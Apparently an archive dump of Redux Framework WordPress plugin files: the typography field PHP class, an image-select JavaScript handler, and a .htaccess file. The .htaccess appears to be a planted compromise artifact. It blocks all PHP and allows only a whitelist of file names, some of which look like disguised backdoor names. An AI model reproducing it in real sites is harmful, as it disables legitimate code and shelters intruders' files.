typography-font-style" data-name="font-style" value="' . $this->value['font-style'] . '" data-id="' . $this->field['id'] . '" /> '; $multi = ( isset( $this->field['multi']['weight'] ) && $this->field['multi']['weight'] ) ? ' multiple="multiple"' : ""; echo '<select' . $multi . ' data-placeholder="' . __( 'Style', 'redux-framework' ) . '" class="redux-typography redux-typography-style select ' . $this->field['class'] . '" original-title="' . __( 'Font style', 'redux-framework' ) . '" id="' . $this->field['id'] . '_style" data-id="' . $this->field['id'] . '" data-value="' . $style . '">'; if ( empty( $this->value['subset'] ) || empty( $this->value['font-weight'] ) ) { echo '<option value=""></option>'; } $nonGStyles = array( '200' => 'Lighter', '400' => 'Normal', '700' => 'Bold', '900' => 'Bolder' ); if ( isset( $gfonts[ $this->value['font-family'] ] ) ) { foreach ( $gfonts[ $this->value['font-family'] ]['variants'] as $v ) { echo '<option value="' . $v['id'] . '" ' . selected( $this->value['subset'], $v['id'], false ) . '>' . $v['name'] . '</option>'; } } else { if ( ! isset( $this->value['font-weight'] ) && isset( $this->value['subset'] ) ) { $this->value['font-weight'] = $this->value['subset']; } foreach ( $nonGStyles as $i => $style ) { if ( ! isset( $this->value['font-weight'] ) ) { $this->value['font-weight'] = false; } if ( ! isset( $this->value['subset'] ) ) { $this->value['subset'] = false; } echo '<option value="' . $i . '" ' . selected( $this->value['font-weight'], $i, false ) . '>' . $style . '</option>'; } } echo '</select></div>'; } /* Font Script */ if ( $this->field['font-family'] == true && $this->field['subsets'] == true && $this->field['google'] == true ) { echo '<div class="select_wrapper typography-script tooltip" original-title="' . __( 'Font subsets', 'redux-framework' ) . '">'; echo '<input type="hidden" class="redux-typography-input typography-subsets" data-name="subsets" value="' . $this->value['subsets'] . '" data-id="' . $this->field['id'] . '" /> '; echo '<label>' . __( 'Font Subsets', 'redux-framework' ) . '</label>'; $multi = ( isset( $this->field['multi']['subset'] ) && $this->field['multi']['subset'] ) ? ' multiple="multiple"' : ""; echo '<select' . $multi . ' data-placeholder="' . __( 'Subsets', 'redux-framework' ) . '" class="redux-typography redux-typography-subsets ' . $this->field['class'] . '" original-title="' . __( 'Font script', 'redux-framework' ) . '" id="' . $this->field['id'] . '-subsets" data-value="' . $this->value['subsets'] . '" data-id="' . $this->field['id'] . '" >'; if ( empty( $this->value['subsets'] ) ) { echo '<option value=""></option>'; } if ( isset( $gfonts[ $this->value['font-family'] ] ) ) { foreach ( $gfonts[ $this->value['font-family'] ]['subsets'] as $v ) { echo '<option value="' . $v['id'] . '" ' . selected( $this->value['subset'], $v['id'], false ) . '>' . $v['name'] . '</option>'; } } echo '</select></div>'; } /* Font Align */ if ( $this->field['text-align'] === true ) { echo '<div class="select_wrapper typography-align tooltip" original-title="' . __( 'Text Align', 'redux-framework' ) . '">'; echo '<label>' . __( 'Text Align', 'redux-framework' ) . '</label>'; echo '<select data-placeholder="' . __( 'Text Align', 'redux-framework' ) . '" class="redux-typography-input redux-typography redux-typography-align ' . $this->field['class'] . '" original-title="' . __( 'Text Align', 'redux-framework' ) . '" id="' . $this->field['id'] . '-align" data-name="text-align" data-value="' . $this->value['text-align'] . '" data-id="' . $this->field['id'] . '" >'; echo '<option value=""></option>'; $align = array( 'inherit', 'left', 'right', 'center', 'justify', 'initial' ); foreach ( $align as $v ) { echo '<option value="' . $v . '" ' . selected( $this->value['text-align'], $v, false ) . '>' . ucfirst( $v ) . '</option>'; } echo '</select></div>'; } /* Text Transform */ if ( $this->field['text-transform'] === true ) { echo '<div class="select_wrapper typography-transform tooltip" original-title="' . __( 'Text Transform', 'redux-framework' ) . '">'; echo '<label>' . __( 'Text Transform', 'redux-framework' ) . '</label>'; echo '<select data-placeholder="' . __( 'Text Transform', 'redux-framework' ) . '" class="redux-typography-input redux-typography redux-typography-transform ' . $this->field['class'] . '" original-title="' . __( 'Text Transform', 'redux-framework' ) . '" id="' . $this->field['id'] . '-transform" data-name="text-transform" data-value="' . $this->value['text-transform'] . '" data-id="' . $this->field['id'] . '" >'; echo '<option value=""></option>'; $values = array( 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ); foreach ( $values as $v ) { echo '<option value="' . $v . '" ' . selected( $this->value['text-transform'], $v, false ) . '>' . ucfirst( $v ) . '</option>'; } echo '</select></div>'; } /* Font Variant */ if ( $this->field['font-variant'] === true ) { echo '<div class="select_wrapper typography-font-variant tooltip" original-title="' . __( 'Font Variant', 'redux-framework' ) . '">'; echo '<label>' . __( 'Font Variant', 'redux-framework' ) . '</label>'; echo '<select data-placeholder="' . __( 'Font Variant', 'redux-framework' ) . '" class="redux-typography-input redux-typography redux-typography-font-variant ' . $this->field['class'] . '" original-title="' . __( 'Font Variant', 'redux-framework' ) . '" id="' . $this->field['id'] . '-font-variant" data-name="font-variant" data-value="' . $this->value['font-variant'] . '" data-id="' . $this->field['id'] . '" >'; echo '<option value=""></option>'; $values = array( 'inherit', 'normal', 'small-caps' ); foreach ( $values as $v ) { echo '<option value="' . $v . '" ' . selected( $this->value['font-variant'], $v, false ) . '>' . ucfirst( $v ) . '</option>'; } echo '</select></div>'; } /* Text Decoration */ if ( $this->field['text-decoration'] === true ) { echo '<div class="select_wrapper typography-decoration tooltip" original-title="' . __( 'Text Decoration', 'redux-framework' ) . '">'; echo '<label>' . __( 'Text Decoration', 'redux-framework' ) . '</label>'; echo '<select data-placeholder="' . __( 'Text Decoration', 'redux-framework' ) . '" class="redux-typography-input redux-typography redux-typography-decoration ' . $this->field['class'] . '" original-title="' . __( 'Text Decoration', 'redux-framework' ) . '" id="' . $this->field['id'] . '-decoration" data-name="text-decoration" data-value="' . $this->value['text-decoration'] . '" data-id="' . $this->field['id'] . '" >'; echo '<option value=""></option>'; $values = array( 'none', 'inherit', 'underline', 'overline', 'line-through', 'blink' ); foreach ( $values as $v ) { echo '<option value="' . $v . '" ' . selected( $this->value['text-decoration'], $v, false ) . '>' . ucfirst( $v ) . '</option>'; } echo '</select></div>'; } /* Font Size */ if ( $this->field['font-size'] === true ) { echo '<div class="input_wrapper font-size redux-container-typography">'; echo '<label>' . __( 'Font Size', 'redux-framework' ) . '</label>'; echo '<div class="input-append"><input type="text" class="span2 redux-typography-input redux-typography redux-typography-size mini typography-input ' . $this->field['class'] . '" title="' . __( 'Font Size', 'redux-framework' ) . '" placeholder="' . __( 'Size', 'redux-framework' ) . '" id="' . $this->field['id'] . '-size" data-name="font-size" value="' . str_replace( $unit, '', $this->value['font-size'] ) . '" data-value="' . str_replace( $unit, '', $this->value['font-size'] ) . '"><span class="add-on">' . $unit . '</span></div>'; echo '<input type="hidden" class="redux-typography-input typography-font-size" data-name="font-size" value="' . $this->value['font-size'] . '" data-id="' . $this->field['id'] . '" />'; echo '</div>'; } /* Line Height */ if ( $this->field['line-height'] === true ) { echo '<div class="input_wrapper line-height redux-container-typography">'; echo '<label>' . __( 'Line Height', 'redux-framework' ) . '</label>'; echo '<div class="input-append"><input type="text" class="span2 redux-typography redux-typography-height mini typography-input ' . $this->field['class'] . '" title="' . __( 'Line Height', 'redux-framework' ) . '" placeholder="' . __( 'Height', 'redux-framework' ) . '" id="' . $this->field['id'] . '-height" value="' . str_replace( $unit, '', $this->value['line-height'] ) . '" data-value="' . str_replace( $unit, '', $this->value['line-height'] ) . '"><span class="add-on">' . $unit . '</span></div>'; echo '<input type="hidden" class="redux-typography-input typography-line-height" data-name="line-height" value="' . $this->value['line-height'] . '" data-id="' . $this->field['id'] . '" />'; echo '</div>'; } /* Word Spacing */ if ( $this->field['word-spacing'] === true ) { echo '<div class="input_wrapper word-spacing redux-container-typography">'; echo '<label>' . __( 'Word Spacing', 'redux-framework' ) . '</label>'; echo '<div class="input-append"><input type="text" class="span2 redux-typography redux-typography-word mini typography-input ' . $this->field['class'] . '" title="' . __( 'Word Spacing', 'redux-framework' ) . '" placeholder="' . __( 'Word Spacing', 'redux-framework' ) . '" id="' . $this->field['id'] . '-word" value="' . str_replace( $unit, '', $this->value['word-spacing'] ) . '" data-value="' . str_replace( $unit, '', $this->value['word-spacing'] ) . '"><span class="add-on">' . $unit . '</span></div>'; echo '<input type="hidden" class="redux-typography-input typography-word-spacing" data-name="word-spacing" value="' . $this->value['word-spacing'] . '" data-id="' . $this->field['id'] . '" />'; echo '</div>'; } /* Letter Spacing */ if ( $this->field['letter-spacing'] === true ) { echo '<div class="input_wrapper letter-spacing redux-container-typography">'; echo '<label>' . __( 'Letter Spacing', 'redux-framework' ) . '</label>'; echo '<div class="input-append"><input type="text" class="span2 redux-typography redux-typography-letter mini typography-input ' . $this->field['class'] . '" title="' . __( 'Letter Spacing', 'redux-framework' ) . '" placeholder="' . __( 'Letter Spacing', 'redux-framework' ) . '" id="' . $this->field['id'] . '-letter" value="' . str_replace( $unit, '', $this->value['letter-spacing'] ) . '" data-value="' . str_replace( $unit, '', $this->value['letter-spacing'] ) . '"><span class="add-on">' . $unit . '</span></div>'; echo '<input type="hidden" class="redux-typography-input typography-letter-spacing" data-name="letter-spacing" value="' . $this->value['letter-spacing'] . '" data-id="' . $this->field['id'] . '" />'; echo '</div>'; } echo '<div class="clearfix"></div>'; /* Font Color */ if ( $this->field['color'] === true ) { $default = ""; if ( empty( $this->field['default']['color'] ) && ! empty( $this->field['color'] ) ) { $default = $this->value['color']; } else if ( ! empty( $this->field['default']['color'] ) ) { $default = $this->field['default']['color']; } echo '<div class="picker-wrapper">'; echo '<label>' . __( 'Font Color', 'redux-framework' ) . '</label>'; echo '<div id="' . $this->field['id'] . '_color_picker" class="colorSelector typography-color"><div style="background-color: ' . $this->value['color'] . '"></div></div>'; echo '<input data-default-color="' . $default . '" class="redux-typography-input redux-color redux-typography-color ' . $this->field['class'] . '" original-title="' . __( 'Font color', 'redux-framework' ) . '" id="' . $this->field['id'] . '-color" data-name="color" type="text" value="' . $this->value['color'] . '" data-id="' . $this->field['id'] . '" />'; echo '</div>'; } echo '<div class="clearfix"></div>'; /* Font Preview */ if ( ! isset( $this->field['preview'] ) || $this->field['preview'] !== false ) { if ( isset( $this->field['preview']['text'] ) ) { $g_text = $this->field['preview']['text']; } else { $g_text = '1 2 3 4 5 6 7 8 9 0 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z'; } $style = ''; if ( isset( $this->field['preview']['always_display'] ) ) { if ( true === filter_var( $this->field['preview']['always_display'], FILTER_VALIDATE_BOOLEAN ) ) { if ( $isGoogleFont == true ) { $this->parent->typography_preview[ $fontFamily[0] ] = array( 'font-style' => array( $this->value['font-weight'] . $this->value['font-style'] ), 'subset' => array( $this->value['subset'] ) ); $protocol = ( ! empty( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443 ) ? "https:" : "http:"; wp_deregister_style( 'redux-typography-preview' ); wp_dequeue_style( 'redux-typography-preview' ); wp_register_style( 'redux-typography-preview', $protocol . $this->makeGoogleWebfontLink( $this->parent->typography_preview ), '', time() ); wp_enqueue_style( 'redux-typography-preview' ); } $style = 'display: block; font-family: ' . $this->value['font-family'] . '; font-weight: ' . $this->value['font-weight'] . ';'; } } if ( isset( $this->field['preview']['font-size'] ) ) { $style .= 'font-size: ' . $this->field['preview']['font-size'] . ';'; $inUse = '1'; } else { //$g_size = ''; $inUse = '0'; } echo '<p data-preview-size="' . $inUse . '" class="clear ' . $this->field['id'] . '_previewer typography-preview" ' . 'style="' . $style . '">' . $g_text . '</p>'; echo '</div>'; // end typography container } } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 1.0.0 */ function enqueue() { if ( ! wp_style_is( 'select2-css' ) ) { wp_enqueue_style( 'select2-css' ); } if ( ! wp_style_is( 'wp-color-picker' ) ) { wp_enqueue_style( 'wp-color-picker' ); } if ( ! wp_script_is( 'redux-field-typography-js' ) ) { wp_enqueue_script( 'redux-field-typography-js', ReduxFramework::$_url . 'inc/fields/typography/field_typography' . Redux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'select2-js', 'redux-js' ), time(), true ); } wp_localize_script( 'redux-field-typography-js', 'redux_ajax_script', array( 'ajaxurl' => admin_url( 'admin-ajax.php' ) ) ); if ( $this->parent->args['dev_mode'] ) { if ( ! wp_style_is( 'redux-color-picker-css' ) ) { wp_enqueue_style( 'redux-color-picker-css' ); } if ( ! wp_style_is( 'redux-field-typography-css' ) ) { wp_enqueue_style( 'redux-field-typography-css', ReduxFramework::$_url . 'inc/fields/typography/field_typography.css', array(), time(), 'all' ); } } } //function /** * makeGoogleWebfontLink Function. * Creates the google fonts link. * * @since ReduxFramework 3.0.0 */ function makeGoogleWebfontLink( $fonts ) { $link = ""; $subsets = array(); foreach ( $fonts as $family => $font ) { if ( ! empty( $link ) ) { $link .= "%7C"; // Append a new font to the string } $link .= $family; if ( ! empty( $font['font-style'] ) || ! empty( $font['all-styles'] ) ) { $link .= ':'; if ( ! empty( $font['all-styles'] ) ) { $link .= implode( ',', $font['all-styles'] ); } else if ( ! empty( $font['font-style'] ) ) { $link .= implode( ',', $font['font-style'] ); } } if ( ! empty( $font['subset'] ) ) { foreach ( $font['subset'] as $subset ) { if ( ! in_array( $subset, $subsets ) ) { array_push( $subsets, $subset ); } } } } if ( ! empty( $subsets ) ) { $link .= "&subset=" . implode( ',', $subsets ); } return '//fonts.googleapis.com/css?family=' . str_replace( '|', '%7C', $link ); } /** * makeGoogleWebfontString Function. * Creates the google fonts link. * * @since ReduxFramework 3.1.8 */ function makeGoogleWebfontString( $fonts ) { $link = ""; $subsets = array(); foreach ( $fonts as $family => $font ) { if ( ! empty( $link ) ) { $link .= "', '"; // Append a new font to the string } $link .= $family; if ( ! empty( $font['font-style'] ) || ! empty( $font['all-styles'] ) ) { $link .= ':'; if ( ! empty( $font['all-styles'] ) ) { $link .= implode( ',', $font['all-styles'] ); } else if ( ! empty( $font['font-style'] ) ) { $link .= implode( ',', $font['font-style'] ); } } if ( ! empty( $font['subset'] ) ) { foreach ( $font['subset'] as $subset ) { if ( ! in_array( $subset, $subsets ) ) { array_push( $subsets, $subset ); } } } } if ( ! empty( $subsets ) ) { $link .= "&subset=" . implode( ',', $subsets ); } return "'" . $link . "'"; } function output() { $font = $this->value; // Shim out old arg to new if ( isset( $this->field['all_styles'] ) && ! empty( $this->field['all_styles'] ) ) { $this->field['all-styles'] = $this->field['all_styles']; unset ( $this->field['all_styles'] ); } // Check for font-backup. If it's set, stick it on a variabhle for // later use. if ( ! empty( $font['font-family'] ) && ! empty( $font['font-backup'] ) ) { $font['font-family'] = str_replace( ', ' . $font['font-backup'], '', $font['font-family'] ); $fontBackup = ',' . $font['font-backup']; } // if (strpos($font['font-family'], ' ')) { // $font['font-family'] = '"' . $font['font-family'] . '"'; // } $style = ''; $fontValueSet = false; if ( ! empty( $font ) ) { foreach ( $font as $key => $value ) { if ( ! empty( $value ) && in_array( $key, array( 'font-family', 'font-weight' ) ) ) { $fontValueSet = true; } } } if ( ! empty( $font ) ) { foreach ( $font as $key => $value ) { if ( $key == 'font-options' ) { continue; } // Check for font-family key if ( 'font-family' == $key ) { // Enclose font family in quotes if spaces are in the // name. This is necessary because if there are numerics // in the font name, they will not render properly. // Google should know better. if ( strpos( $value, ' ' ) && ! strpos( $value, ',' ) ) { $value = '"' . $value . '"'; } // Ensure fontBackup isn't empty (we already option // checked this earlier. No need to do it again. if ( ! empty( $fontBackup ) ) { // Apply the backup font to the font-family element // via the saved variable. We do this here so it // doesn't get appended to the Google stuff below. $value .= $fontBackup; } } if ( empty( $value ) && in_array( $key, array( 'font-weight', 'font-style' ) ) && $fontValueSet == true ) { $value = "normal"; } if ( $key == 'font-weight' && $this->field['font-weight'] == false ) { continue; } if ( $key == 'font-style' && $this->field['font-style'] == false ) { continue; } if ( $key == "google" || $key == "subsets" || $key == "font-backup" || empty( $value ) ) { continue; } $style .= $key . ':' . $value . ';'; } if ( isset( $this->parent->args['async_typography'] ) && $this->parent->args['async_typography'] ) { $style .= 'opacity: 1;visibility: visible;-webkit-transition: opacity 0.24s ease-in-out;-moz-transition: opacity 0.24s ease-in-out;transition: opacity 0.24s ease-in-out;'; } } if ( ! empty( $style ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $keys = implode( ",", $this->field['output'] ); $this->parent->outputCSS .= $keys . "{" . $style . '}'; if ( isset( $this->parent->args['async_typography'] ) && $this->parent->args['async_typography'] ) { $key_string = ""; $key_string_ie = ""; foreach ( $this->field['output'] as $value ) { $key_string .= ".wf-loading " . $value . ','; $key_string_ie .= ".ie.wf-loading " . $value . ','; } $this->parent->outputCSS .= $key_string . "{opacity: 0;}"; $this->parent->outputCSS .= $key_string_ie . "{visibility: hidden;}"; } } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $keys = implode( ",", $this->field['compiler'] ); $this->parent->compilerCSS .= $keys . "{" . $style . '}'; if ( isset( $this->parent->args['async_typography'] ) && $this->parent->args['async_typography'] ) { $key_string = ""; $key_string_ie = ""; foreach ( $this->field['compiler'] as $value ) { $key_string .= ".wf-loading " . $value . ','; $key_string_ie .= ".ie.wf-loading " . $value . ','; } $this->parent->compilerCSS .= $key_string . "{opacity: 0;}"; $this->parent->compilerCSS .= $key_string_ie . "{visibility: hidden;}"; } } } // Google only stuff! if ( ! empty( $font['font-family'] ) && ! empty( $this->field['google'] ) && filter_var( $this->field['google'], FILTER_VALIDATE_BOOLEAN ) ) { // Added standard font matching check to avoid output to Google fonts call - kp // If no custom font array was supplied, the load it with default // standard fonts. if ( empty( $this->field['fonts'] ) ) { $this->field['fonts'] = $this->std_fonts; } // Ensure the fonts array is NOT empty if ( ! empty( $this->field['fonts'] ) ) { //Make the font keys in the array lowercase, for case-insensitive matching $lcFonts = array_change_key_case( $this->field['fonts'] ); // Rebuild font array with all keys stripped of spaces $arr = array(); foreach ( $lcFonts as $key => $value ) { $key = str_replace( ', ', ',', $key ); $arr[ $key ] = $value; } $lcFonts = array_change_key_case( $this->field['custom_fonts'] ); foreach ( $lcFonts as $group => $fontArr ) { foreach ( $fontArr as $key => $value ) { $arr[ strtolower( $key ) ] = $key; } } $lcFonts = $arr; unset( $arr ); // lowercase chosen font for matching purposes $lcFont = strtolower( $font['font-family'] ); // Remove spaces after commas in chosen font for mathcing purposes. $lcFont = str_replace( ', ', ',', $lcFont ); // If the lower cased passed font-family is NOT found in the standard font array // Then it's a Google font, so process it for output. if ( ! array_key_exists( $lcFont, $lcFonts ) ) { $family = $font['font-family']; // Strip out spaces in font names and replace with with plus signs // TODO?: This method doesn't respect spaces after commas, hence the reason // for the std_font array keys having no spaces after commas. This could be // fixed with RegEx in the future. $font['font-family'] = str_replace( ' ', '+', $font['font-family'] ); // Push data to parent typography variable. if ( empty( $this->parent->typography[ $font['font-family'] ] ) ) { $this->parent->typography[ $font['font-family'] ] = array(); } if ( isset( $this->field['all-styles'] ) ) { if ( ! isset( $font['font-options'] ) || empty( $font['font-options'] ) ) { $this->getGoogleArray(); if ( isset( $this->parent->googleArray ) && ! empty( $this->parent->googleArray ) && isset( $this->parent->googleArray[ $family ] ) ) { $font['font-options'] = $this->parent->googleArray[ $family ]; } } else { $font['font-options'] = json_decode( $font['font-options'], true ); } //print_r($font['font-options']); //exit(); } if ( isset( $font['font-options'] ) && ! empty( $font['font-options'] ) && isset( $this->field['all-styles'] ) && filter_var( $this->field['all-styles'], FILTER_VALIDATE_BOOLEAN ) ) { if ( isset( $font['font-options'] ) && ! empty( $font['font-options']['variants'] ) ) { if ( ! isset( $this->parent->typography[ $font['font-family'] ]['all-styles'] ) || empty( $this->parent->typography[ $font['font-family'] ]['all-styles'] ) ) { $this->parent->typography[ $font['font-family'] ]['all-styles'] = array(); foreach ( $font['font-options']['variants'] as $variant ) { $this->parent->typography[ $font['font-family'] ]['all-styles'][] = $variant['id']; } } } } if ( ! empty( $font['font-weight'] ) ) { if ( empty( $this->parent->typography[ $font['font-family'] ]['font-weight'] ) || ! in_array( $font['font-weight'], $this->parent->typography[ $font['font-family'] ]['font-weight'] ) ) { $style = $font['font-weight']; } if ( ! empty( $font['font-style'] ) ) { $style .= $font['font-style']; } if ( empty( $this->parent->typography[ $font['font-family'] ]['font-style'] ) || ! in_array( $style, $this->parent->typography[ $font['font-family'] ]['font-style'] ) ) { $this->parent->typography[ $font['font-family'] ]['font-style'][] = $style; } } if ( ! empty( $font['subsets'] ) ) { if ( empty( $this->parent->typography[ $font['font-family'] ]['subset'] ) || ! in_array( $font['subsets'], $this->parent->typography[ $font['font-family'] ]['subset'] ) ) { $this->parent->typography[ $font['font-family'] ]['subset'][] = $font['subsets']; } } } // !array_key_exists } //!empty fonts array } // Typography not set } private function localizeStdFonts() { if ( false == $this->user_fonts ) { if ( isset( $this->parent->fonts['std'] ) && ! empty( $this->parent->fonts['std'] ) ) { return; } $this->parent->font_groups['std'] = array( 'text' => __( 'Standard Fonts', 'redux-framework' ), 'children' => array(), ); foreach ( $this->field['fonts'] as $font => $extra ) { $this->parent->font_groups['std']['children'][] = array( 'id' => $font, 'text' => $font, 'data-google' => 'false', ); } } if ( $this->field['custom_fonts'] !== false ) { $this->field['custom_fonts'] = apply_filters( "redux/{$this->parent->args['opt_name']}/field/typography/custom_fonts", array() ); if ( ! empty( $this->field['custom_fonts'] ) ) { foreach ( $this->field['custom_fonts'] as $group => $fonts ) { $this->parent->font_groups['customfonts'] = array( 'text' => $group, 'children' => array(), ); foreach ( $fonts as $family => $v ) { $this->parent->font_groups['customfonts']['children'][] = array( 'id' => $family, 'text' => $family, 'data-google' => 'false', ); } } } } } /** * Construct the google array from the stored JSON/HTML */ function getGoogleArray() { if ( ( isset( $this->parent->fonts['google'] ) && ! empty( $this->parent->fonts['google'] ) ) || isset( $this->parent->fonts['google'] ) && $this->parent->fonts['google'] == false ) { return; } $gFile = dirname( __FILE__ ) . '/googlefonts.php'; // Weekly update if ( isset( $this->parent->args['google_update_weekly'] ) && $this->parent->args['google_update_weekly'] && ! empty( $this->parent->args['google_api_key'] ) ) { if ( file_exists( $gFile ) ) { // Keep the fonts updated weekly $weekback = strtotime( date( 'jS F Y', time() + ( 60 * 60 * 24 * - 7 ) ) ); $last_updated = filemtime( $gFile ); if ( $last_updated < $weekback ) { unlink( $gFile ); } } } if ( ! file_exists( $gFile ) ) { $result = @wp_remote_get( apply_filters( 'redux-google-fonts-api-url', 'https://www.googleapis.com/webfonts/v1/webfonts?key=' ) . $this->parent->args['google_api_key'], array( 'sslverify' => false ) ); if ( ! is_wp_error( $result ) && $result['response']['code'] == 200 ) { $result = json_decode( $result['body'] ); foreach ( $result->items as $font ) { $this->parent->googleArray[ $font->family ] = array( 'variants' => $this->getVariants( $font->variants ), 'subsets' => $this->getSubsets( $font->subsets ) ); } if ( ! empty( $this->parent->googleArray ) ) { $this->parent->filesystem->execute( 'put_contents', $gFile, array( 'content' => "<?php return json_decode( '" . json_encode( $this->parent->googleArray ) . "', true );" ) ); } } } if ( ! file_exists( $gFile ) ) { $this->parent->fonts['google'] = false; return; } if ( ! isset( $this->parent->fonts['google'] ) || empty( $this->parent->fonts['google'] ) ) { $fonts = include $gFile; if ( $fonts === true ) { $this->parent->fonts['google'] = false; return; } if ( isset( $fonts ) && ! empty( $fonts ) && is_array( $fonts ) && $fonts != false ) { $this->parent->fonts['google'] = $fonts; $this->parent->googleArray = $fonts; // optgroup $this->parent->font_groups['google'] = array( 'text' => __( 'Google Webfonts', 'redux-framework' ), 'children' => array(), ); // options foreach ( $this->parent->fonts['google'] as $font => $extra ) { $this->parent->font_groups['google']['children'][] = array( 'id' => $font, 'text' => $font, 'data-google' => 'true' ); } } } } /** * getSubsets Function. * Clean up the Google Webfonts subsets to be human readable * * @since ReduxFramework 0.2.0 */ private function getSubsets( $var ) { $result = array(); foreach ( $var as $v ) { if ( strpos( $v, "-ext" ) ) { $name = ucfirst( str_replace( "-ext", " Extended", $v ) ); } else { $name = ucfirst( $v ); } array_push( $result, array( 'id' => $v, 'name' => $name ) ); } return array_filter( $result ); } //function /** * getVariants Function. * Clean up the Google Webfonts variants to be human readable * * @since ReduxFramework 0.2.0 */ private function getVariants( $var ) { $result = array(); $italic = array(); foreach ( $var as $v ) { $name = ""; if ( $v[0] == 1 ) { $name = 'Ultra-Light 100'; } else if ( $v[0] == 2 ) { $name = 'Light 200'; } else if ( $v[0] == 3 ) { $name = 'Book 300'; } else if ( $v[0] == 4 || $v[0] == "r" || $v[0] == "i" ) { $name = 'Normal 400'; } else if ( $v[0] == 5 ) { $name = 'Medium 500'; } else if ( $v[0] == 6 ) { $name = 'Semi-Bold 600'; } else if ( $v[0] == 7 ) { $name = 'Bold 700'; } else if ( $v[0] == 8 ) { $name = 'Extra-Bold 800'; } else if ( $v[0] == 9 ) { $name = 'Ultra-Bold 900'; } if ( $v == "regular" ) { $v = "400"; } if ( strpos( $v, "italic" ) || $v == "italic" ) { $name .= " Italic"; $name = trim( $name ); if ( $v == "italic" ) { $v = "400italic"; } $italic[] = array( 'id' => $v, 'name' => $name ); } else { $result[] = array( 'id' => $v, 'name' => $name ); } } foreach ( $italic as $item ) { $result[] = $item; } return array_filter( $result ); } //function } //class } //class exists �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/typography/.htaccess�����������������������������������������������������0000644�����������������00000001626�14720701300�0015710 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/image_select/field_image_select.js���������������������������������������0000644�����������������00000012650�14720701300�0020446 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* global confirm, redux, redux_change */ /*global redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.image_select = redux.field_objects.image_select || {}; $( document ).ready( function() { //redux.field_objects.image_select.init(); } ); redux.field_objects.image_select.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-image_select:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } // On label click, change the input and class el.find( '.redux-image-select label img, .redux-image-select label .tiles' ).click( function( e ) { var id = $( this ).closest( 'label' ).attr( 'for' ); $( this ).parents( "fieldset:first" ).find( '.redux-image-select-selected' ).removeClass( 'redux-image-select-selected' ).find( "input[type='radio']" ).attr( "checked", false ); $( this ).closest( 'label' ).find( 'input[type="radio"]' ).prop( 'checked' ); if ( $( this ).closest( 'label' ).hasClass( 'redux-image-select-preset-' + id ) ) { // If they clicked on a preset, import! e.preventDefault(); var presets = $( this ).closest( 'label' ).find( 'input' ); var data = presets.data( 'presets' ); var merge = presets.data( 'merge' ); if( merge !== undefined && merge !== null ) { if( $.type( merge ) === 'string' ) { merge = merge.split('|'); } $.each(data, function( index, value ) { if( ( merge === true || $.inArray( index, merge ) != -1 ) && $.type( redux.options[index] ) === 'object' ) { data[index] = $.extend(redux.options[index], data[index]); } }); } if ( presets !== undefined && presets !== null ) { var answer = confirm( redux.args.preset_confirm ); if ( answer ) { el.find( 'label[for="' + id + '"]' ).addClass( 'redux-image-select-selected' ).find( "input[type='radio']" ).attr( "checked", true ); window.onbeforeunload = null; if ( $( '#import-code-value' ).length === 0 ) { $( this ).append( '<textarea id="import-code-value" style="display:none;" name="' + redux.args.opt_name + '[import_code]">' + JSON.stringify( data ) + '</textarea>' ); } else { $( '#import-code-value' ).val( JSON.stringify( data ) ); } if ( $( '#publishing-action #publish' ).length !== 0 ) { $( '#publish' ).click(); } else { $( '#redux-import' ).click(); } } } else { } return false; } else { el.find( 'label[for="' + id + '"]' ).addClass( 'redux-image-select-selected' ).find( "input[type='radio']" ).attr( "checked", true ).trigger('change'); redux_change( $( this ).closest( 'label' ).find( 'input[type="radio"]' ) ); } } ); // Used to display a full image preview of a tile/pattern el.find( '.tiles' ).qtip( { content: { text: function( event, api ) { return "<img src='" + $( this ).attr( 'rel' ) + "' style='max-width:150px;' alt='' />"; }, }, style: 'qtip-tipsy', position: { my: 'top center', // Position my top left... at: 'bottom center', // at the bottom right of... } } ); } ); }; })( jQuery );����������������������������������������������������������������������������������������redux-framework/inc/fields/image_select/field_image_select.css.map����������������������������������0000644�����������������00000001270�14720701300�0021372 